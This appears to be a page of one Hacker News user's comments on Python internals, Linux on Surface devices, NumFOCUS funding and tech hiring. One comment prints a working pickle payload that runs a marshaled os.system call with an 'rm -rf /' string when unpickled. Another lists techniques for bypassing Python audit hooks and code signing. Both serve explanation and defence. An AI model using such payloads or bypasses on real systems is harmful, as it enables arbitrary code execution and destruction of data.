HNHacker News
TopNewBestAskShowJobs

jamesdutc

435 karma · joined July 12, 2013

follow: https://bsky.app/profile/dontusethiscode.bsky.social

connect: https://www.linkedin.com/in/dontusethiscode/

submissionscomments
jamesdutc··on Show HN: Pynecone – Web Apps in Pure Python
Congratulations on your release!

Don't let my skepticism (below) to detract from your accomplishment.

I am deeply skeptical not only about this tool in particular but about these tools (e.g., Dash, Panel, Streamlit &c.) in general. I've seen these tools work well for very simple use-cases, but they seem to require some combination of…

· cooperating requirements (matching exactly what the demos do, so you stay completely within the “regime” these tools support)

· upfront knowledge of all requirements (so that you never fall out of this regime)

· the ability to reject requirements (so that you can keep yourself within the regime, though this means the tool is leading the business, not the business leading the tool)

· the ability to accurately identify the boundaries of the regime from the tool documentation and design

For very simple examples, it's may be possible to stay within these constraints, but even when you manage to successfully use these tools, you do so at high (and, in my view, often unacceptable) risk.

In general, the risk/reward for a tool like this is about being able to learn the tool almost immediately (which must also account for time spent trawling through the documentation or the Github issues or even the `dir(module)` to figure out how to spell that one thing you need.) Basically, if you can create something in 1 day that can last for 180 days before a requirement comes along that forces you to start over from scratch, you may be okay.

You certainly never want to become good at these tools; the more you invest in the tooling, the harder it will be to abandon it when it is no longer appropriate, and the more willing you will be to accept contortions that you will inevitably regret. You certainly never want to spend more than a trivial amount of time building something with these tools, since the risk of needing to rebuild or abandon the technology is simply too high.

(Personally, I simply don't think React is that hard to learn, that hard to teach, or that onerous to use…)

In particular, this tool's API seems particularly risky. e.g., in the example code, there is a section like this:

    cond(
        State.mode,
        element,
        cond(
            State.flag,
            other_element,
        ),
    )
So we're encoding the control flow defining the layout in some sort of object graph (some sort of pseudo-AST)? It's not going to take a lot of this to spiral out of control. Unless you can recognize that this tool is unsuitable for even mildly complex programmatic component layout (which is trivial to do in React,) you're going to hit an impassible brick wall trying to handle what will otherwise be considered a benign business request.

I suspect, however, that this API is still being refined. After all, what if I wanted to trigger on two conditions? There are probably some sophisticated `metaclass` mechanisms wrapping the `State` attributes in some symbolic modelling, but SymPy shows us that this is not trivial to get right, and the Python object model constraints you in unpredictable ways. Without looking at the code, I suspect you cannot `cond(State.mode1 | State.mode2, element)` and probably have to create some sort of `State.mode1_or_mode2` subordinate data, which spirals out of control pretty quickly. And what if you want to do `cond(State.mode | mutable_global_mode)`? And so forth and so on.

There are so many structures and modalities for control flow and data flow (trivially expressible in React) that will become clumsier and clumsier to express in with this modelling, and unless you can anticipate that they won't arise, reject the business requirements that mandate them, or (with no regret) throw everything away and start over from scratch, you're going to have a good experience.

jamesdutc··on Bubblewrap: Unprivileged sandboxing tool for Linux
Bubblewrap is a surprisingly useful tool for general system administration tasks.

Even though the documentation claims that "[y]ou are unlikely to use it directly from the commandline, although that is possible," I use it as a helper tool in this mode very frequently.

This can be very useful for debugging since, for example, you can `bwrap --ro-bind / / --tmpfs ~ $SHELL` to get a "clean" shell in which you can isolate yourself from the effect of configuration dotfiles and can even `--ro-bind my-hosts /etc/hosts` to simulate certain system-level state (without requiring a full VM, heavier container, or root access.)

Of course, I've also written some simple shell scripts around `bwrap` to make this all a bit simpler (since this quickly reaches `qemu`-levels of argv proliferation.)

jamesdutc··on A New Chapter for PyPy
The admin fees you refer to are typically assessed in the context of large, institutional grants. These are grants from private organisations like the Gordon and Betty Moore Foundation, the Alfred P. Sloan Foundation, the Chan Zuckerberg Initiative, or government agencies like the US National Science Foundation. These grants have significant financial accounting requirements. There are also many other legal or operational costs associated with these grants.

When projects run these grants through parent institutions like universities, the typical admin fee is >40%. In some cases, it can be as high as 60%. Many projects are eager to enter fiscal sponsorship agreements with organisations like NumFOCUS, because so much more of their grant money goes to funding the work.

In the case of NumFOCUS, admin fees do not adequately cover the staff requirements to manage these grants. NumFOCUS "loses money" when servicing the administrative needs of these grants & it takes this responsibility onto itself solely for the betterment of the projects.

Rather than assess administrative fees similar to universities, NumFOCUS uses its other fundraising—corporate donations, event (i.e., PyData) sponsorship, individual giving—to finance its operations.

source:

- I serve on the NumFOCUS board of directors as its co-chair.

- I presented on this topic last year at the NumFOCUS Annual Summit to an audience of core developers from projects like Julia, Jupyter, Pandas, NumPy, AstroPy, &c.

- NumFOCUS budgets are public, and all of the above information can be corroborated from materials published on https://numfocus.org/

jamesdutc··on Tempering Expectations for GPT-3 and OpenAI’s API
In the future, will it be considered offensive to suggest that someone’s posts look like they were generated by an ML model…?
jamesdutc··on Python malware on the rise
I think audit hooks were a great idea and are part of a defence-in-depth strategy.

In fact, I even implemented the variant of audit hooks that informed PEP-551 and deployed those to production for a major platform.

I think that if you were to use audit hooks, you might want to combine them with a code signing mechanism. I worked on two of these for different platforms, and they add another strong layer of defence.

In light of that, the bypass in the article seems somewhat contrived, especially considering that there are at least three alternate techniques you could employ to accomplish the same goal that would be meaningfully more innocuous than using `ctypes.windll`. If you're going to use `ctypes` or `pywin32` or the like, then you might as well write a C-extension module to patch out the audit hooks directly (as Batuhan Taşkaya shows using a simple trampoline toy library I wrote, `libhook`: https://speakerdeck.com/isidentical/hack-the-cpython?slide=3...).

Better techniques:

1. Joe Jevnik and my `tuple_setitem` which uses poisoned bytecode and the lack of bounds checks on `LOAD_FAST`/`GETLOCAL`. (Pure Python.)

https://gist.github.com/llllllllll/b1ac68a6b77535a64c0b13bfd...

2. My `tuple_setitem` using `numpy` raw memory access via `numpy.lib.stride_tricks.as_strided`. (Requires only `numpy`.)

https://twitter.com/dontusethiscode/status/12513186248470855...

3. Using the `/proc` filesystem on Linux, which gives arbitrary intraprocess read/write access (independent of page permissions.) (Requires only `open(..., 'w')`.)

https://twitter.com/dontusethiscode/status/12818444226285854... https://gist.github.com/dutc/2cc5de0d2f8877b8f463b86e8bd5231...

There are also a couple of techniques you could employ to carry one of these payloads past code signing, some of which are very well known, like the insecurity of `pickle` deserialisation, and some of which are… less well known.

(I have also prototyped using the above exploits to "lift" C code into a Python interpreter, in case there are OS-level defences around `dlopen`.)

However, even taking these into account, I'm a big believer of the value of Python 3.8 audit hooks at PEP-551, but they are technique that requires quite a bit of extra work to effectively employ.

If you're interested in trying to implement audit hooks and these other mechanisms for locking down your execution environment (e.g., you want to mitigate exploits in Python systems, which may run as PID-1 in a containers, where these exploits may try to bring in malware that could exfiltrate data…) please feel free to reach out to me by e-mail or Twitter.

I would be happy to share more with any organisations that are large enough to consider locking things down at this level.

jamesdutc··on “C is how the computer works” is a dangerous mindset for C programmers
> Where can I pip install this from?

A couple of signatures have changed, but the general approach looks like: https://gist.github.com/dutc/eba9b2f7980f400f6287 or https://gist.github.com/dutc/2866d969d5e9209d501a

The above will launch ("embed") a Python 2 or Python 1.5 interpreter from within a Python 3 interpreter. If you use `dlmopen` and `LM_ID_NEWLM`, the guest interpreter will have its own linker namespace. In other words, the guest interpreter (and any DSOs it opens) will be totally isolated from the host interpreter.

The above shows the use of `PyRun_SimpleString`. Since `PyRun_String` accepts a `PyObject* globals` and `PyObject* locals`, you could build a very basic bridge in <30 lines of code by using serialisation to copy and convert. (For user-defined classes, you would need something better.)

I've given a many talks about this at various Python and PyData conferences. (I've mentioned it a number of times on HN, both in response to complaints about the Python 2→3 transition and in response to comments like yours suggesting this solution to that problem.)

Though presented as a joke, the approach could be made to work with some effort. I can't speculate on why no one has ever followed-up on it, and I can't speculate on why the Python 2→3 transition has been so difficult for some users. Perhaps in some places, financial or organisational arguments are more influential than technical arguments.

jamesdutc··on “C is how the computer works” is a dangerous mindset for C programmers
Embedding Python 2 inside of Python 3 (or vice-versa) is not very hard to do on Linux. Simply `dlmopen` the .so in a new linker namespace and write a little bit of bridging code to interface the two object layouts.

Python has a very rich runtime, so there are some tricky problems to solve if you want this to be perfect. e.g., circular references between the GCs. However, there are simplifying assumptions that can dramatically reduce the difficulty, and these assumptions might not significantly hinder the language-upgrade use-case.

We've known about this approach to embedded interpreters for a couple of years, but we've not found a sufficiently compelling use-case for anyone to develop it beyond a simple proof-of-concept.

In general, it seems like there most compelling use-case for inter-language interfaces is writing core libraries in something fast, (mostly) runtime-free, and portable, especially for codes that no one wants to write twice.

Though I spend most of my time writing codes in slow, rich runtime languages, I've been on the lookout for a better technology to replace C. There are quite a few interesting options, and some have even less of a runtime than (dynamically-linked) C!

jamesdutc··on OpenBSD on the Microsoft Surface Go
I would love to find a comparable device from a vendor that prioritises Linux support.

As far as I can tell, none such exist. There are many companies making "detachable"/"type cover" tablet devices, but I can't identify that can match the size, weight, and performance of the Surface series.

I think it might be possible to raise the issue of Linux support to Panos Panay's attention. I have some thoughts how one might go about doing that.

Thankfully, the situation with the Surface Go is very promising. If the same choices are made for the Surface Pro 5/Surface Pro 2018 and Surface Book 3, I think these will be solid devices for software programmers who want to use Linux (or BSD.)

And, as I said, I use my Surface Go on a daily basis for work. It's a fantastic piece of hardware. I really enjoy using it.

jamesdutc··on OpenBSD on the Microsoft Surface Go
There are, as far as I can tell, no Linux drivers for the OV2740 and IMX136 cameras (yet.)

It's unfortunate that the Qualcomm WiFi does not work out of the box. However, the fix is fairly easy, and day-to-day WiFi performance is solid: fast, stable, no issues resuming from hibernate/suspend.

jamesdutc··on OpenBSD on the Microsoft Surface Go
Here's my review of (Arch) Linux on the Surface Go: https://www.reddit.com/r/SurfaceLinux/comments/94hjxv/surfac...

The results are similar. Support is slightly better on Linux (e.g., Bluetooth & IIO sensors work.) Linux support is better than on any of my other Surface devices (Surface Pro 2017, Surface Pro 3, or Surface 3 non-Pro.)

In short: almost everything works out of the box. (The major exception is the front- & rear-facing cameras.)

I have been using this device daily since release day. It's one of my favourite devices.

jamesdutc··on Microsoft announces Surface Go
I own the following devices: Surface 3 (non-Pro,) Surface Pro 3, and a Surface Pro 2017:

    - Surface 3: Atom x7, 4 GB RAM, 128 GB HDD
    - Surface Pro 3: i7, 8 GB RAM, 256 GB HDD
    - Surface Pro 2017: i7, 16 GB RAM, 1 TB HDD
I use these devices daily as my main machines. I use them interchangably. All of the devices run Arch Linux with identical configurations. None are currently configured for dual-boot. All of them run the same long-running programmes (e.g., Slack, Hangouts,) though I use each device for a different purpose:

    - Surface 3: reading PDFs & documentation, email
    - Surface Pro 3: backup device
    - Surface Pro 2017: software development, general use
All of devices are usable for actual day-to-day work.

The devices run different kernels:

    - Surface 3: stock LTS kernel or Zen kernel with patches
    - Surface Pro 3: stock LTS or stock Zen kernel
    - Surface Pro 2017: git kernel with patches from (http://github.com/jakeday/linux-surface)
None of the devices support S3 suspend. They support only "Connected Standby." (https://lwn.net/Articles/580451/)

Works on all devices:

    - hibernate
    - SecureBoot, TPM
    - touchscreen, pen input
    - Typecover (detach/reattach), touchpad multitouch
    - sensors (rotation, ambient light)
    - WiFi, Bluetooth
    - audio
    - SD card
Surface 3:

    - DisplayPort doesn't always work
    - webcams don't work
Surface 3 Pro:

    - everything works 100% with stock kernels
Surface Pro 2017:

    - battery readings don't work
    - webcams don't work
I am overall very happy with these computers. They are the first machines in a long time that I have been "excited about." Linux support so far is good (ranges from a B- to an A+) and within the range of being usable for daily work.
jamesdutc··on Abusing Python exceptions to turn a recursive function iterative
Some environments use code-signing as a security mechanism.

Arbitrary execution via pickle creates holes in this mechanism, requiring additional mitigations.

PEP-551 briefly discusses security motivations and potential mechanisms for environments where code execution is locked down:

https://www.python.org/dev/peps/pep-0551/

jamesdutc··on Abusing Python exceptions to turn a recursive function iterative
Shell-code attacks using pickled objects have been around for some time.

A pickle bytestring can execute completely arbitrary code. I have used them in my work.

An easy introduction: https://www2.cs.uic.edu/~s/musings/pickle/

An example:

  payload = b"ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'4wAAAAAAAAAAAQAAAAIAAABDAAAAcxYAAABkAWQAbAB9AHwAagFkAoMBAQBkAFMAKQNO6QAAAAD6EGVjaG8gXCMgcm0gLXJmIC8pAtoCb3PaBnN5c3RlbSkBcgMAAACpAHIFAAAA+gc8c3RkaW4+2gdwYXlsb2FkBAAAAHMEAAAAAAEIAQ=='\ntRtRc__builtin__\nglobals\n(tRS''\ntR(tR."
  from pickle import loads; loads(payload) # don't do it...!
(p.s., a matplotlib core dev told me they may move away from their use of pickle for this very reason.)
jamesdutc··on Abusing Python exceptions to turn a recursive function iterative
But tuples (and cells) are mutable in pure CPython if you believe strongly enough.

See: https://gist.github.com/llllllllll/b1ac68a6b77535a64c0b13bfd... https://gist.github.com/dutc/d2ff9f17a0520d233b2d197d1dafa1a... https://twitter.com/__qualname__/status/867928378040438784

jamesdutc··on Abusing Python exceptions to turn a recursive function iterative
Absolute child's play compared to:

https://gist.github.com/llllllllll/b1ac68a6b77535a64c0b13bfd...

(Python's LOAD_FAST bytecode does `fastlocals[i]`: how can we abuse the lack of bounds checking on this array access?)

(We've also discussed potential extensions this to approach "lift" C-extension code in bytestrings into interpreter objects. This would be useful to escalate existing interpreter attacks in environments that try to lock things down.)

jamesdutc··on Schrödinger’s Tcl – Values that differ if you look at them
I can do this in Python with my `rwatch` module.

    >>> from datetime import datetime
    >>> x = lambda: f'{datetime.now()}'
    >>> x
    <function <lambda> at 0x7f9f435e4510>
    >>> x()
    '2017-09-17 02:14:12.834957'
    >>> from sys import setrwatch
    >>> setrwatch({id(x): lambda f, o: o()})

    >>> x # look, ma: no parens!
    '2017-09-17 02:14:16.306198'
    >>> x
    '2017-09-17 02:14:17.734965'
jamesdutc··on I Stopped Attending Programming Meet-ups
I'm one of the lead organisers of the meetups that Aaron mentions, and I'd like to offer an additional perspective.

I think that both Aaron and myself (and, indeed, all of the organisers) use the meetup as an opportunity to meet programmers needing mentorship.

Many of us have personally benefited from the generosity of others, and we feel an obligation to offer newcomers this same opportunity.

I don't have any real skills, but I do know a lot about Python, and I attend the weekly meetups to share this knowledge with others.

I'm there every week (barring conference & work travel,) and I'm there to help.

jamesdutc··on Taking a month off from OSS volunteering
Brett, thanks for contributions to Python.

(... and thanks to the other contributors, https://github.com/python/cpython/blob/master/Misc/ACKS, and to all people who volunteer their by contributing to open source...)

I am another silent user, someone who lurks on every Python thread on HackerNews but finds the discussion often too contentious to bear.

I know you personally, and I'm sure I've said this to you in person, but maybe you'll accept my sincerity if I say it in public:

You bring a certain sensitivity, a level-headedness and moderating influence to the Python community. Discussion within technical communities is rough, even when everyone is aligned toward the same goal. Any lurker on #python-dev can see how quickly discussion can break down.

These communities need people like you, even though they sometimes seemed designed to grind down people like you.

Double big props, and hang in there!

jamesdutc··on Removing Python's GIL: The Gilectomy [video]
I had a personal conversation with Larry Hastings (the presenter) at PyCon. Here are a couple of notes from that chat, phrased neutrally. Some of these points may be reïterated in the linked video:

- We can view this work is as a revisiting of Greg Stein's GIL-removal attempt in Python 1.4:

http://dabeaz.blogspot.com/2011/08/inside-look-at-gil-remova...

It seems wholly reasonable to revisit the approach in light of how the language and ecosystem have changed since 1999.

There are demands made of CPython core developers to remove or address the problem of the GIL, and these efforts demonstrate how much work is necessary to do that successfully.

- Comparing single-threaded performance in a GIL implementation against single-threaded performance in a GIL-less implementation is considered an unfair comparison. A GIL-less will do extra book-keeping that will necessarily result in slower single-threaded performance.

jamesdutc··on Removing Python's GIL: The Gilectomy [video]
Sort of.

Note that Python has support for shared memory:

https://docs.python.org/2/library/multiprocessing.html#shari...

In fact, `numpy` has its own mechanisms to support shared memory between processes:

https://bitbucket.org/cleemesser/numpy-sharedmem

Neither of these approaches seem to be used very commonly in practice.

Python itself has some "sub-interpreter" support. There was a long conversation about this last year:

https://mail.python.org/pipermail/python-ideas/2015-June/034...

Finally, I have a working approach using `dlmopen` to host multiple interpreters within the same process:

https://gist.github.com/dutc/eba9b2f7980f400f6287

- the approach is so bizarre, because it's a very naïve multiple-embedding. It was intended to prove that you could run a Python 2 and a Python 3 together in the same process as part of a dare. This was thought impossible, since there are symbols with non-unique names that the dynamic linker would be unable to distinguish (which lead me to the `RTLD_DEEPBIND` flag for `dlopen`,) and that there is global state in a Python interpreter that interacts in undesirable ways (which lead me to `dlmopen` and linker namespaces.)

- this approach is stronger than the traditional subinterpreter approach, since I can host multiple interpreters of distinct versions. i.e., I can host a Python 1.5 inside a Python 2.7 inside a Python 3.5.

- the approach is stronger in that I completely isolate C libraries. There's a good amount of functionality provided by C libraries that maintain global state. e.g., `locale.setlocale` is a wrapping of C stdlib locale and is globally scoped.

- this approach is weaker in that it requires a dynamic linker that supports linker namespaces, which effectively limits its use on Windows

- this approach is weaker in that it's not complete: there's insufficient interest in this approach for me to actually write the shims to allow communication between processes.

- this approach is weaker in that it has some weird restrictions such as being able to spawn only 15 sub-interpreters before running out of thread-local storage space

I suppose the premise is that the GIL-removal efforts involve pessimistic coördination. A sub-interpreter approach might have a lighter touch and allow the user to handle coördination between processes (perhaps even requiring/allowing them to handle locks themselves.)

jamesdutc··on Videos from PyCon 2016
Awesome keynote today by NumFOCUS (http://numfocus.org) board member Dr Lorena Barba (http://lorenabarba.com):

"Beyond 'Learning to Program' — Education, Open-Source Culture, and Structured Collaboration in Language"

https://www.youtube.com/watch?v=ckW1xuGVpug&t=32m30s

jamesdutc··on Embedding PyPy in a C application
There's interesting overlap between tools like `cffi` and `cython`.

This is one of the approaches I am pursuing to polish off something I put together recently: rapid prototyping of LD_PRELOADs in Python.

I presented an early approach at PyData London last week using LD_AUDIT and `cython`: https://www.youtube.com/watch?v=L3j2qw9XZCc

It doesn't seem that amazing to be able to write:

    @preload
    def open(pathname: 'const char*', flags: 'int') -> 'int':
        return __open__(pathname, flags)
After all, this is only slightly more convenient syntax than in C. However, imagine how much functionality you could quickly develop with access to the Python standard library.

Even using my clumsy `cython` and `LD_AUDIT` approach, I was able to rapidly develop libraries that interpose file-handling library calls and implement:

    # `less` is used as an example of a libc programme with no concept of Python, git, &c.

    $ COMMIT_HASH=abc123 gitit less test # interact with files as-of some commit in a git repo via pygit (libgit2)

    $ runit less test.py # redirect read() so that the contents of the file appears to be the results emitted of having run the file

    $ zipit less test.gz # redirect read()/write() to transparently handle gzip files
Each one of these took about half an hour to throw together, which is substantially faster than I could reliably develop them in pure-C (not to mention how much code I avoid having to write myself by relying on Python's rich stdlib & ecosystem.)
jamesdutc··on Investigating Erlang by reading its system calls
Python's site module contributes a lot to this. It attempts to load a lot of other modules, many of which may not exist for a given install.

Using your example:

    $ strace python3 -c 'print("hello world", end="")' 2>&1 | hist
     1. stat                 122
     2. rt_sigaction         68
     3. fstat                67
     4. read                 55
     5. close                47
     6. open                 37
     7. mmap                 34
     8. lseek                30
     9. getdents             18
    10. mprotect             16
        ...                 
        TOTAL:               567

    $ strace python3 -S -c 'print("hello world", end="")' 2>&1 | hist
     1. rt_sigaction         68
     2. stat                 51
     3. fstat                39
     4. mmap                 31
     5. read                 27
     6. close                26
     7. open                 23
     8. mprotect             16
     9. lseek                15
    10. brk                  10
        ...                 
        TOTAL:               350
jamesdutc··on Jupyter Notebook 4.2 Released
For some background on the direction of the Jupyter project, check out this recent talk at PyData Amsterdam (http://pydata.org/amsterdam2016) by Min Ragan-Kelley & Thomas Kluyver.

They talk about how Jupyter has "evolved from a Python-specific tool to a general data science tool that supports many different languages."

https://www.youtube.com/watch?v=T385txAYSt8

jamesdutc··on Wrestling With Inclusion at LambdaConf
This is an odd perspective on inclusivity, but I understand where it comes from.

I would think it would be well within the mandate of the conference organisers to pick talks that reflect the material they want to see presented and the conversation they want attendees to be able to participate in. The conference is a curated collection of talks, and will necessarily reflect an active political position held by the organising committee and a passive political position shaped by systemic issues. For almost all tech conferences, even the very large ones, the politics expressed are so bland and so unfocused that no one really cares about them. Almost no tech conference has the capability to seriously address systemic issues of inclusivity.

I imagine LambdaConf's view resonantes with the audience on HackerNews, because it addresses primarily the former politics. The latter politics aren't a danger to most of the commentators here.

The inclusivity of attendance seems to be much more defensible. Even under great pressure, I can see an event being reluctant to bar attendance. I don't know that any tech conferences ask unpopular people to simply stay away (even if they promise to be on best behaviour.)

jamesdutc··on We only hire the trendiest
I wore a suit when I interviewed at Reddit.

I didn't get the job.

(Vanity compels me to share: I was probably going to ask for more money than they would have been willing to pay. But before a former CEO pops in this thread to reveal that I was actually incompetent, I must say that I think I put on a good show. The weekend prior to being flown out to SF, I spent a day analysing their server code and was able to not only find a fairly subtle bug but propose a fix for it.)

jamesdutc··on We only hire the trendiest
"Consulting" or "contracting" can refer to different kinds of work arrangements. One of these is what's called "staff augmentation."

Large companies with huge teams of full-time employed software programmers will often hire contractors to fill gaps. These contractors are typically contractors-in-name-only: they work under exactly the same conditions as full-time employees but with a worse tax situation, without access to benefits, and without eligibility to receive equity or cash bonuses. They are often contracted through intermediaries who take a large cut. These contractors can be fired more easily than their full-time employed colleagues, and they may often work on time-limited contracts that cannot be renewed. (They often do not count against a manager's allotted "head count.")

These contractors are typically in this position, because cannot get hired as full-time employees. They often jump between contracting jobs until someone gives them a chance or until they manage to get a client to "convert" them to full-time.

Staffing firms are in on this. If a recruiter sends you to interview for a contract role at some large company, it means they don't think you could get a job as a full-time employee. Hiring managers also know this. If they see you've only ever worked as a contractor, then they will assume you don't have what it takes to get a job as a full-time employee.

(This is not right, and this is not fair.)

jamesdutc··on Use JSON files as if they are Python modules
A simple example of how import hooks use for module relocation/deprecation:

https://gist.github.com/dutc/0f7498451d98e3114268

jamesdutc··on Use JSON files as if they are Python modules
The mechanism is called "import hooks":

https://docs.python.org/3/reference/import.html#import-hooks

https://www.python.org/dev/peps/pep-0302/

You can see the import hook added here:

https://github.com/kragniz/json-sempai/blob/master/jsonsempa...

Import hooks are a great feature in Python.

Take the `import` mechanism in the language and reduce it to its barest theoretical formulation - what does it really do? (Name binding.) Think of all the other features in your application that can be reduced to this. (e.g., configuration management) Use the constraints of the import mechanism to guide the design of this feature, and use import hooks to implement it. You'll end up with an implementation that is very "close" to the core language. I would assert that this closeness strongly suggests correctness and composability.

Less philosophically, think of the Python virtual machine as a system with lots of "safety valves" and "escape hatches." Import hooks are one such safety valve. Think about all the things you could do easily by hooking into module importing? (Real use-cases: loading code from bitemporal object databases, deprecation of modules, relocation of modules, configuration management, &c.)

Of course, there are languages that are much more flexible than Python in this respect. Python aims for a practical flexibility, and I find that, in practice, Python strikes a nice balance.

jamesdutc··on Where are we in the Python 3 transition?
Oh, I should also mention that I found a way to embed Python interpreters within themselves. I have a couple of different ways to do it.

Here's one: https://gist.github.com/dutc/eba9b2f7980f400f6287

Here's another: https://gist.github.com/dutc/2866d969d5e9209d501a

I've given, like, a million conference talks about this.

Better than creating some horrible Python 2.8 hybrid would be funding (or convincing me to volunteer to do) the work of completing this bridge. This involves writing 2/3 and 3/2 PyObject shims and figuring out some GIL and GC issues.

Then, within a given host interpreter, you'd be able to execute modules within a guest interpreter of whatever Python version you want.

With the shims and the bridge work, you'd be able to interact with these objects seamlessly from host-to-guest and guest-to-host.

← PreviousPage 2 of 4Next →